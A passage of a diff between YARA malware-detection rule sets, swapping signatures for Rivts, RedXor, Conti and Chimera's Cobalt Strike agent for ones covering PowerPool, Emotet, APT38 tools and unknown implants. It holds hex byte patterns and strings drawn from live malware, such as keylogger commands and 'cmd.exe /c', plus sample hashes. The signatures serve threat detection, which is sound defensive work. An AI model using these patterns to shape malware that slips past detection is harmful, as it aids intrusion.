00 [2-8] 2e 00 6a 00 70 00 67 } + $s4 = "\\SetupUi" fullword wide + $s5 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 } + $s6 = { 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 25 00 73 00 25 00 64 } + $s7 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 } + $s8 = { 45 00 72 00 61 00 20 00 75 00 70 00 6c 00 6f 00 61 00 64 00 3a 00 25 00 73 00 20 00 25 00 64 } + $s9 = "ExtKeyloggerStart" fullword ascii + $s10 = "ExtKeyloggerStop" fullword ascii + $s11 = "ExtServiceDelete" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 1000KB and 6 of ( $com* ) and all of ( $jmp* ) and 3 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and 8 of ( $s* ) } -rule ARKBIRD_SOLG_APT_MAL_NK_Rivts_Feb_2009_1 : FILE +rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_1 : FILE { meta: - description = "Detect Rivts malware used by NK APT" + description = "Detect PowerPool malware" author = "Arkbird_SOLG" - id = "71dacbd4-36bb-5a45-a288-31bfaef784dc" - date = "2020-06-17" - modified = "2020-06-18" - reference = "https://twitter.com/Arkbird_SOLG/status/1272674621381361672" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-07/NK_Rivts_Feb_2009_1.yar#L3-L22" + id = "8248300e-fc3e-56df-be4a-f1850e2bedc8" + date = "2021-07-09" + modified = "2021-07-12" + reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_1.yara#L1-L29" license_url = "N/A" - logic_hash = "aab3e8067933cbaef2725b5db9e744df2e2be0a89aaf7ce85df79c5f45d72d8f" + logic_hash = "0978a6cd60533ffda0c2b13ea98dc1ba46a464890b895cb2704804a763756fca" score = 75 - quality = 67 + quality = 73 tags = "FILE" - hash1 = "244885b47ec2157a8ea9278bec3ea1883f45d97b1fcb78d4fa875bef0f329a97" + hash1 = "9c08136b26ee5234c61a5d9e5a17afb15da35efc66514d2df5b53178693644c5" + hash2 = "23e7e0bbc36d523daa8e3cd8e32618c6c1fb61e32f664756e77d7917b3b11644" + hash3 = "e30d32cc40ad19add7dfdcbed960d5f074ea632b796ae975b75eb25455b66bb0" + hash4 = "88e7813340194acc4b094fd48ecf665a12d19245b90f2a69dab5861982ca95f6" + tlp = "White" + adversary = "IAmTheKing" strings: - $s1 = "F:\\meWork\\ksj\\Test\\testVir-ga\\testvir_non\\Debug\\testvir_non.pdb" fullword ascii - $s2 = "\\\\.\\pipe\\TESTVIR1PIPE" fullword ascii - $s3 = "\\system32\\Hana80.exe" fullword ascii - $s4 = "\\system32\\nnr60.exe" fullword ascii - $s5 = { 54 45 53 54 56 49 52 31 5f 45 56 45 4e 54 5f 4f 42 4a } - $s6 = "INFECT" fullword ascii - $s7 = { 54 45 53 54 5f 5f 5f 41 43 43 45 53 53 5f 44 49 52 } - $s8 = { 2e 70 69 66 } - $s9 = { 2f 2f 2f 2f 44 41 45 4d 4f 4e } + $s1 = "write info fail!!! GetLastError-->%u" fullword ascii + $s2 = "Set Option failed errcode: %ld" fullword ascii + $s3 = { 68 96 00 00 00 68 ?? c4 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 ?? c5 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 [2] 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 [2] fe ff 59 c3 83 3d ?? 4c 45 00 00 74 38 53 6a 01 b8 ?? 4c 45 00 e8 ?? a0 fc ff 50 6a 00 b9 ?? 4c 45 00 e8 [2] fb ff 6a ff bb 01 00 00 00 b8 ?? 4c 45 00 e8 [2] fc ff 40 50 b9 ?? 4c 45 00 e8 [2] fb ff 5b 33 c0 6a ff 50 68 ?? 4c 45 00 } + $s4 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 } + $s5 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 2d 2d 4d 55 4c 54 49 2d 50 41 52 54 53 2d 46 4f 52 4d 2d 44 41 54 41 2d 42 4f 55 4e 44 41 52 59 0d 0a } + $s6 = { 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 0d 0a 0d 0a } + $s7 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a } + $s8 = { 25 73 3b 74 79 70 65 3d 25 73 3b 6c 65 6e 67 74 68 3d 25 73 3b 72 65 61 6c 64 61 74 61 3d 25 73 65 6e 64 } condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and 7 of them + uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Redxor_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Emotet_Nov_2021_1 : FILE { meta: - description = "Detect RedXor backdoor (Feb 2021)" + description = "Detect Emotet loader" author = "Arkbird_SOLG" - id = "10ae10b7-b351-5dda-9408-aa01a40e3d6a" - date = "2021-03-14" - modified = "2021-05-24" - reference = "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-23/RedXor/MAL_RedXor_Feb_2021_1.yara#L1-L20" + id = "ad67c735-7ed9-5440-b693-55dce9840f56" + date = "2021-11-15" + modified = "2021-11-16" + reference = "https://cyber.wtf/2021/11/15/guess-whos-back/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-16/MAL_Emotet_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "b4e3ea24bb19abe7065ed5fc94f65e68ea84b11da7b45936ee991ef6aac6d33d" + logic_hash = "9ae3cbf863fdf3addd7ec00b4d6b55024c3159156518ef15fff79f5a92988297" score = 75 quality = 75 tags = "FILE" - hash1 = "0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919" - hash2 = "0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559" - tlp = "White" - adversary = "Winnti" + hash1 = "0865bd192e226da2c40b8bdd33a65ef41ca255a0031b3b36ab6a657ba6675d5e" + hash2 = "14613fa0b6eea4cd9205ffbe1c462178c94298707d19f78a27eec3dece8765f0" + tlp = "white" + adversary = "TrickBot Gang" strings: - $seq1 = { 0f b7 05 [2] 20 00 66 85 c0 0f 85 cd 00 00 00 48 8d 85 ?? ff ff ff be 10 00 00 00 48 89 c7 e8 [2] ff ff 66 c7 85 ?? ff ff ff 02 00 0f b7 05 [2] 20 00 0f b7 c0 89 c7 e8 [2] ff ff 66 89 85 ?? ff ff ff 48 8b 45 d8 48 89 c7 e8 [2] ff ff 89 85 ?? ff ff ff ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 [2] ff ff 89 85 ?? ff ff ff 83 bd ?? ff ff ff ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } - $seq2 = { 48 8d 8d ?? ff ff ff 8b 85 ?? ff ff ff ba 10 00 00 00 48 89 ce 89 c7 e8 [2] ff ff 83 f8 ff 75 47 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } - $seq3 = { 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8b 95 [2] fd ff 48 8d 85 [2] fd ff 48 89 ce 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff 8b 85 30 ff ff ff 48 63 d8 8b 85 30 ff ff ff 48 63 c8 48 8d 95 [2] fd ff 48 8d 85 [2] fe ff 49 89 d8 be [2] 40 00 48 89 c7 e8 [2] ff ff 89 85 2c ff ff ff 8b 85 2c ff ff ff 48 63 d0 48 8d 9d [2] fe ff 8b 85 ?? ff ff ff b9 00 00 00 00 48 89 de 89 c7 e8 [2] ff ff 48 83 f8 ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } - $seq4 = { c7 45 a8 01 00 00 00 c7 45 ac 01 00 00 00 c7 05 [2] 20 00 00 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba ?? 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 48 89 c2 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff 48 89 ce 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff ba ff 0f 00 00 48 89 ce 89 c7 e8 [2] ff ff 89 85 40 ff ff ff 83 bd 40 ff ff ff ff 75 0a c7 85 40 ff ff ff 00 00 00 00 48 8d 85 [2] fd ff be [2] 40 00 48 89 c7 e8 [2] ff ff 48 85 c0 0f 84 d0 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba 02 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff e8 [2] ff ff 89 c7 e8 [2] ff ff 48 89 45 e8 be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff 48 8b 45 e8 48 8b 00 48 89 c6 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff bb [2] 40 00 48 8d 95 [2] fd ff 48 8d 85 [2] fd ff 41 b8 [2] 60 00 48 89 d1 ba [2] 60 00 48 89 de 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff c7 45 ac 00 00 00 } - $seq5 = { 55 48 89 e5 53 89 fb 89 f0 48 89 55 d8 89 4d d4 88 5d e4 88 45 e0 0f b6 45 e4 88 45 f2 0f b6 45 e0 88 45 f3 c7 45 f4 00 00 00 00 c7 45 f4 00 00 00 00 eb 29 8b 45 f4 48 98 48 03 45 d8 8b 55 f4 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 f2 31 ca 88 10 0f b6 45 f3 00 45 f2 83 45 f4 01 8b 45 f4 3b 45 d4 7c cf b8 00 00 00 00 5b } - $seq6 = { 55 48 89 e5 53 48 81 ec 68 0d 00 00 48 89 bd d8 f2 ff ff c7 45 90 31 32 37 2e c7 45 94 30 2e 30 2e 48 c7 45 98 31 00 00 00 c7 45 a0 00 00 00 00 c7 85 70 ff ff ff 30 30 2d 30 c7 85 74 ff ff ff 30 2d 30 30 c7 85 78 ff ff ff 2d 30 30 2d c7 85 7c ff ff ff 30 30 2d 30 c7 45 80 30 00 00 00 48 c7 45 a8 [2] 40 00 } + $s1 = { 8b 4d 08 0f b6 02 0f b6 31 2b f0 75 18 0f b6 71 01 0f b6 42 01 2b f0 75 0c 0f b6 71 02 0f b6 42 02 2b f0 74 10 33 c9 85 f6 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 49 03 0f b6 42 03 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 8b c1 eb 56 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 0c 0f b6 51 01 0f b6 46 01 2b d0 74 06 33 c9 85 d2 eb b4 0f b6 49 02 0f b6 46 02 eb be 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 e0 0f b6 49 01 0f b6 46 01 eb a4 8b 45 08 0f b6 08 8b 45 0c 0f b6 00 eb 96 33 c0 5e 5b 5d c3 8b ff } + $s2 = { 8b 75 10 83 e0 3f 8b 5d 18 6b c8 38 c1 fa 06 89 75 a0 89 5d c4 89 55 b0 8b 04 95 [2] 03 10 89 4d bc 8b 44 08 18 89 45 9c 8b 45 14 03 c6 89 45 ac ff 15 ?? 40 03 10 80 7b 14 00 89 45 90 75 07 8b cb e8 [2] ff ff 8b 43 0c 8b 75 08 8b fe 8b 40 08 89 45 98 33 c0 ab ab ab 8b 45 a0 8b d0 89 55 d0 3b 45 ac 0f 83 14 03 00 00 8b 7d bc 33 db 89 5d b8 81 7d 98 e9 fd 00 00 8a 02 88 45 cf 8b 45 b0 89 5d c0 c7 45 d4 01 00 00 00 8b 0c 85 } + $s3 = { 53 53 40 6a 05 89 45 d0 8d 45 d8 50 ff 75 d4 8d 45 c0 50 53 ff 75 90 e8 [2] ff ff 83 c4 20 89 45 c8 85 c0 0f 84 00 01 00 00 53 8d 4d a4 51 50 8d 45 d8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 dd 00 00 00 8b 55 d0 8b ca 2b 4d a0 8b 46 08 03 c1 89 45 b8 89 46 04 8b 45 c8 39 45 a4 0f 82 c6 00 00 00 80 7d cf 0a 75 3c 6a 0d 58 53 66 89 45 a8 8d 45 a4 50 6a 01 8d 45 a8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 95 00 00 00 83 7d a4 01 0f 82 93 00 00 00 ff 46 08 ff 46 04 8b 46 04 8b 55 d0 89 45 b8 3b 55 ac 0f 82 6f fd ff ff eb 79 85 } + $s4 = { ba 08 00 00 00 c1 e2 00 8b 45 f0 8b 4c 10 78 03 4d fc 89 4d f8 ba 08 00 00 00 6b c2 0c 8b 4d f0 83 7c 01 78 00 74 09 c7 45 e8 0c 00 00 00 eb 07 c7 45 e8 01 00 00 00 8b 55 e8 89 55 e4 8b 45 e4 8b 4d f0 8b 54 c1 78 89 55 dc 8b 45 e4 8b 4d f0 8b 54 c1 7c 89 55 d8 8b 45 dc 03 45 fc 89 45 d4 8d 4d c8 51 6a 04 8b 55 d8 52 8b 45 d4 50 ff 15 04 40 03 10 8b 4d f8 83 79 0c 00 0f 84 cf } + $s5 = { 83 20 00 33 c9 21 4d e8 53 8b 5d 08 57 33 ff 89 4d e4 89 7d e0 8b 03 85 c0 74 56 8d 4d fc 66 c7 45 fc 2a 3f 51 50 c6 45 fe 00 e8 12 55 00 00 59 59 85 c0 75 1a 8d 45 e0 50 33 c0 50 50 ff 33 e8 13 01 00 00 8b f0 83 c4 10 85 f6 75 74 eb 13 8d 4d e0 51 50 ff 33 e8 ad 01 00 00 83 c4 0c 85 c0 75 1d 83 c3 04 8b 03 } condition: - uint32( 0 ) == 0x464c457f and filesize > 25KB and all of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 4 of them } -rule ARKBIRD_SOLG_APT_Chimera_Sept_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT38_Valeforbeta_Mar_2021_1 : FILE { meta: - description = "Detect Cobalt Strike agent used by Chimera" + description = "Detect ValeforBeta used in attacks against Japanese organisations by APT38" author = "Arkbird_SOLG" - id = "7a7c3952-fa6e-5643-a40f-d2e466b8c2a2" - date = "2020-10-03" - modified = "2020-10-04" + id = "74a20725-3e52-5fef-9934-c812137dc989" + date = "2021-03-23" + modified = "2021-03-24" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-03/Chimera/APT_Chimera_Sept_2020_1.yar#L1-L23" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_ValeforBeta_Mar_2021_1.yar#L1-L22" license_url = "N/A" - logic_hash = "8fdb34c793534f8632fd2c35b89462d4a736a31f2347e7bab3e8bcebff04c21f" - score = 75 - quality = 75 + logic_hash = "0ee8202b8978bf487df2a63c17d139076f2e9f68f1827a17929522060a72937a" + score = 50 + quality = 67 tags = "FILE" - hash1 = "f6d89ff139f4169e8a67332a0fd55b6c9beda0b619b1332ddc07d9a860558bab" + hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60" + level = "experimental" strings: - $header = { 4D 5A 41 52 55 48 89 E5 48 83 EC 20 48 83 E4 F0 E8 00 00 00 00 5B 48 81 C3 EB 18 00 00 FF D3 48 81 C3 00 09 03 00 49 89 D8 6A 04 5A FF D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 } - $s1 = "\\\\%s\\pipe\\%s" fullword ascii - $s2 = "%04x-%04x:%s" fullword wide - $core1 = "core_pivot_session_new" fullword ascii - $core2 = "core_pivot_session_died" fullword ascii - $core3 = "core_pivot_remove" fullword ascii - $core4 = "core_pivot_add" fullword ascii - $lib1 = "CreateNamedPipeA" fullword ascii - $lib2 = "ConnectNamedPipe" fullword ascii - $lib3 = "WinHttpGetIEProxyConfigForCurrentUser" fullword ascii - $export = "ReflectiveLoader" fullword ascii + $dbg1 = { 2f 64 64 65 00 00 00 64 64 65 65 78 65 63 } + $dbg2 = { 25 73 5c 53 68 65 6c 6c 4e 65 77 } + $dbg3 = { 25 73 20 28 25 73 3a 25 64 29 0a 25 73 } + $dbg4 = { 7b 25 30 38 58 2d 25 30 34 58 2d 25 30 34 58 2d 25 30 32 58 25 30 32 58 2d 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 7d } + $dbg5 = { 25 73 25 73 2e 64 6c 6c } + $dbg6 = { 25 73 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 25 73 00 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 5c 25 73 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 74 6f 5c 25 73 00 25 73 5c 44 65 66 61 75 6c 74 49 63 6f 6e 00 00 25 73 5c 53 68 65 6c 6c 4e 65 77 00 2c 25 64 00 63 6f 6d 6d 61 6e 64 00 20 22 25 31 22 00 00 00 20 2f 70 20 22 25 31 22 00 00 00 00 20 2f 70 74 20 22 25 31 22 20 22 25 32 22 20 22 25 33 22 20 22 25 34 22 } + $dbg7 = { 43 4c 53 49 44 5c 25 31 5c 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 } + $s1 = { 74 f1 ff b5 a8 fe ff ff 8d 4b 10 c7 43 08 03 00 00 00 e8 3c cf fd ff eb da 8d 8d ac fe ff ff e8 3f 1a fc ff 83 65 fc 00 8d 85 ac fe ff ff 50 57 e8 bd fd ff ff ff b5 ac fe ff ff ff 15 24 44 47 00 85 c0 0f 85 be 00 00 00 50 50 8d 8d a0 fe ff ff 51 8d 8d 9c fe ff ff 51 50 50 50 ff b5 ac fe ff ff ff 15 70 42 47 00 85 c0 75 1f ff b5 a8 fe ff ff 53 e8 dc fe ff ff 8b 8d ac fe ff ff } + $s2 = { 45 fc 8b 45 0c 0f b6 48 0f 56 51 0f b6 48 0e 51 0f b6 48 0d 51 0f b6 48 0c 51 0f b6 48 0b 51 0f b6 48 0a 51 0f b6 48 09 51 0f b6 48 08 8b 75 08 83 a5 f8 fe ff ff 00 51 0f b7 48 06 51 0f b7 48 04 51 ff 30 8d 85 fc fe ff ff 68 48 aa 47 00 68 00 01 00 00 } condition: - uint16( 0 ) == 0x4a5d and filesize > 30KB and $header and 1 of ( $s* ) and 2 of ( $core* ) and 2 of ( $lib* ) and $export + uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $dbg* ) and 1 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Conti_Loader_V3_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT38_Vsingle_Mar_2021_1 : FILE { meta: - description = "Detect Conti V3 loader" + description = "Detect VSingle used in attacks against Japanese organisations by APT38" author = "Arkbird_SOLG" - id = "9541b9f8-befe-5bf4-88ee-b1cc5e92f927" - date = "2020-12-15" - modified = "2020-12-15" + id = "d1d640f6-bcec-5364-8ea5-e0c0b86da6e1" + date = "2021-03-23" + modified = "2021-03-24" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L1-L22" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_VSingle_Mar_2021_1.yar#L1-L24" license_url = "N/A" - logic_hash = "c3c8530e1963c5af8ee93a5d2cc222abbeb3fb7e82ef6de2068795a38dca67aa" + logic_hash = "d01baac099ce33b837c83d6778900f7e55b8c63e75d0e552c10ababc8dec744c" score = 50 - quality = 71 + quality = 69 tags = "FILE" + hash1 = "487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e" level = "experimental" - hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30" - hash2 = "26b2401211769d2fa1415228b4b1305eeeed249a996d149ad83b6fc9c4f703ce" strings: - $seq1 = { 83 ec 1c 68 80 00 00 00 68 54 21 40 00 ff 15 30 20 40 00 85 c0 0f 85 e9 00 00 00 56 57 68 48 21 40 00 89 44 24 14 89 44 24 10 c7 44 24 1c 17 00 00 00 c7 44 24 20 55 1e 00 00 c7 44 24 24 09 04 00 00 ff 15 34 20 40 00 8b 3d 3c 20 40 00 8b f0 68 34 21 40 00 56 ff d7 68 20 21 40 00 56 a3 e4 33 40 00 ff d7 a3 0c 36 40 00 8d 44 24 14 50 6a 03 8d 4c 24 20 51 68 00 00 40 00 ff 15 e4 33 40 00 85 c0 7c 1a 8b 4c 24 14 8d 54 24 0c 52 8d 44 24 14 50 51 68 00 00 40 00 ff 15 0c 36 40 00 68 18 21 40 00 ff 15 70 20 40 00 8b 54 24 10 83 c4 04 50 68 00 10 00 00 52 6a 00 ff 15 38 20 40 00 8b 4c 24 10 8b f0 8b 44 24 0c 50 51 56 e8 4a 00 00 00 8d 54 24 14 52 } - $seq2 = { 8b 4c 24 24 8d 44 24 20 50 51 56 e8 1d fe ff ff 83 c4 24 ff d6 8b 54 24 28 5f 89 15 08 36 40 00 5e 33 c0 83 c4 } - $s1 = { 3e 35 44 35 4c 35 53 35 58 35 5e 35 64 35 6c 35 72 35 79 35 } - $s2 = { 31 07 32 0d 32 25 32 2b 32 30 32 36 32 4c 32 6a 32 } - $s3 = "_invoke_watson" fullword ascii - $s4 = { 8b 2d bc 36 40 00 0f b6 04 2f 0f b6 da 8b 54 24 14 0f b6 14 13 8d 0c 2f 03 d6 03 c2 99 be 40 03 00 00 f7 fe 0f b6 f2 8d 04 2e e8 7f ff ff ff 8d 43 01 99 f7 7c 24 18 47 81 ff 40 } + $dbg1 = { 68 74 74 70 [0-1] 3a 2f 2f 25 73 25 73 } + $dbg2 = { 43 72 65 61 74 65 4e 61 6d 65 64 50 69 70 65 41 20 66 69 6e 69 73 68 65 64 20 77 69 74 68 20 45 72 72 6f 72 2d 25 64 } + $dbg3 = { 4f 53 3a 20 25 73 25 73 20 53 50 20 25 64 20 25 73 20 28 25 64 2e 25 64 2e 25 64 29 0d 0a } + $dbg4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 63 00 20 00 25 00 73 } + $dbg5 = { 0d 0a 43 6f 6f 6b 69 65 3a 20 25 73 } + $dbg6 = { 25 73 5f 6d 61 69 6e } + $dbg7 = { 25 73 5f 66 69 6e } + $dbg8 = "3%3*373<3I3N3[3`3m3r3" fullword ascii + $s1 = { 8b 8d 80 f8 ff ff c7 41 04 01 00 00 00 83 e8 01 0f 84 aa 12 00 00 83 e8 01 0f 84 9a 12 00 00 83 e8 01 0f 84 8a 12 00 00 83 e8 01 0f 84 7a 12 00 } + $s2 = { 51 83 7d 08 00 75 07 b8 5b ab 66 00 eb 35 8b 45 08 89 45 fc 8b 4d fc } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and all of ( $seq* ) and 2 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 6 of ( $dbg* ) and all of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Conti_V3_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_APT_Unknown_Middle_East_Feb_2020_1 : FILE { meta: - description = "Detect Conti V3 ransomware" + description = "Dectect unknown Middle East implants (retrohunt June 2020)" author = "Arkbird_SOLG" - id = "89702af3-664a-5c4a-8d2b-f195f5dddb6f" - date = "2020-12-15" - modified = "2020-12-15" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L24-L43" + id = "e45675e6-29d5-587b-943e-19450772a092" + date = "2021-03-05" + modified = "2021-03-06" + reference = "internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/Unknown/APT_Unknown_Middle_East_Feb_2020_1.yar#L1-L24" license_url = "N/A" - logic_hash = "2c8f2fd9b155bb4fdb1304b4d7f683bc679780d079d8bbe4fb308f94769f1392" - score = 50 + logic_hash = "64cdac73bc3e29e8716cb24ae6577f853b2cf31303d129a0ec38ba89b7ff5351" + score = 75 quality = 75 tags = "FILE" - level = "experimental" - hash1 = "f092b985b75a702c784f0936ce892595b91d025b26f3387a712b76dcc3a4bc81" - hash2 = "35ccc2b71567570bcac62e2f268faca50fa95fad6ac69e74f40856eb8f9ab03d" + hash1 = "274beb57ae19cbc5c2027e08cb2b718dea7ed1acb21bd329d5aba33231fb699d" + hash2 = "3a4ef9b7bd7f61c75501262e8b9e31f9e9bc3a841d5de33dcdeb8aaa65e95f76" strings: - $seq1 = { 45 8c 00 8d 4d 8c c6 45 8d 7e c6 45 8e 4c c6 45 8f 0e c6 45 90 2c c6 45 91 4d c6 45 92 57 c6 45 93 13 c6 45 94 5d c6 45 95 08 c6 45 96 4c c6 45 97 77 c6 45 98 77 89 85 54 ff ff ff c6 45 99 6e 8a 45 8d e8 9f 0b 00 00 6a 6b 68 a8 21 3d be ba 0f 00 00 00 8b f0 e8 3c 3e 00 00 83 c4 08 56 ff d0 c6 45 f4 00 c6 45 f5 5a c6 45 f6 49 c6 45 f7 4c c6 45 f8 0b c6 45 f9 0b c6 45 fa 66 c6 45 fb 4c c6 45 fc 0b c6 45 fd 0b c6 45 fe 3f 89 85 50 ff ff ff 8a 45 f5 80 7d f4 00 75 2b 33 c9 66 0f 1f 84 00 00 00 00 00 8a 44 0d f5 0f b6 c0 83 e8 3f 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 54 0d f5 41 83 f9 0a 72 e0 6a 6b 68 a8 21 3d be ba 0f 00 00 00 e8 bf 3d 00 00 83 c4 08 8d 4d f5 51 ff d0 c6 85 7c ff ff ff 00 8d 8d 7c ff ff ff c6 85 7d ff ff ff 48 c6 85 7e ff ff ff 17 c6 85 7f ff ff ff 3c c6 45 80 71 c6 45 81 3c c6 45 82 37 c6 45 83 57 c6 45 84 71 c6 45 85 0a c6 45 86 67 c6 45 87 12 c6 45 88 12 89 85 3c } - $seq2 = { 6c ff ff ff 00 8d 8d 6c ff ff ff c6 85 6d ff ff ff 02 c6 85 6e ff ff ff 17 c6 85 6f ff ff ff 72 c6 85 70 ff ff ff 3a c6 85 71 ff ff ff 16 c6 85 72 ff ff ff 73 c6 85 73 ff ff ff 10 c6 85 74 ff ff ff 78 c6 85 75 ff ff ff 1c c6 85 76 ff ff ff 00 c6 85 77 ff ff ff 39 c6 85 78 ff ff ff 39 89 85 48 ff ff ff c6 85 79 ff ff ff 71 8a 85 6d ff ff ff e8 1d 08 00 00 6a 6b 68 a8 21 3d } - $seq3 = { 8b d9 89 9d b8 fd ff ff c7 85 d4 fd ff ff 0b 01 00 00 c7 85 d8 fd ff ff 0b 02 00 00 c6 85 c4 fd ff ff 00 c6 85 c5 fd ff ff 19 c6 85 c6 fd ff ff 0d c6 85 c7 fd ff ff 27 c6 85 c8 fd ff ff 1f c6 85 c9 fd ff ff 0d c6 85 ca fd ff ff 1b c6 85 cb fd ff ff 28 c6 85 cc fd ff ff 26 c6 85 cd fd ff ff 1e c6 85 ce fd ff ff 0b c6 85 cf fd ff ff 1b c6 85 d0 fd ff ff 1b 8d 8d c4 fd ff ff c6 85 d1 fd } - $seq4 = { c6 85 00 ff ff ff 00 c6 85 01 ff ff ff 4b c6 85 02 ff ff ff 1f c6 85 03 ff 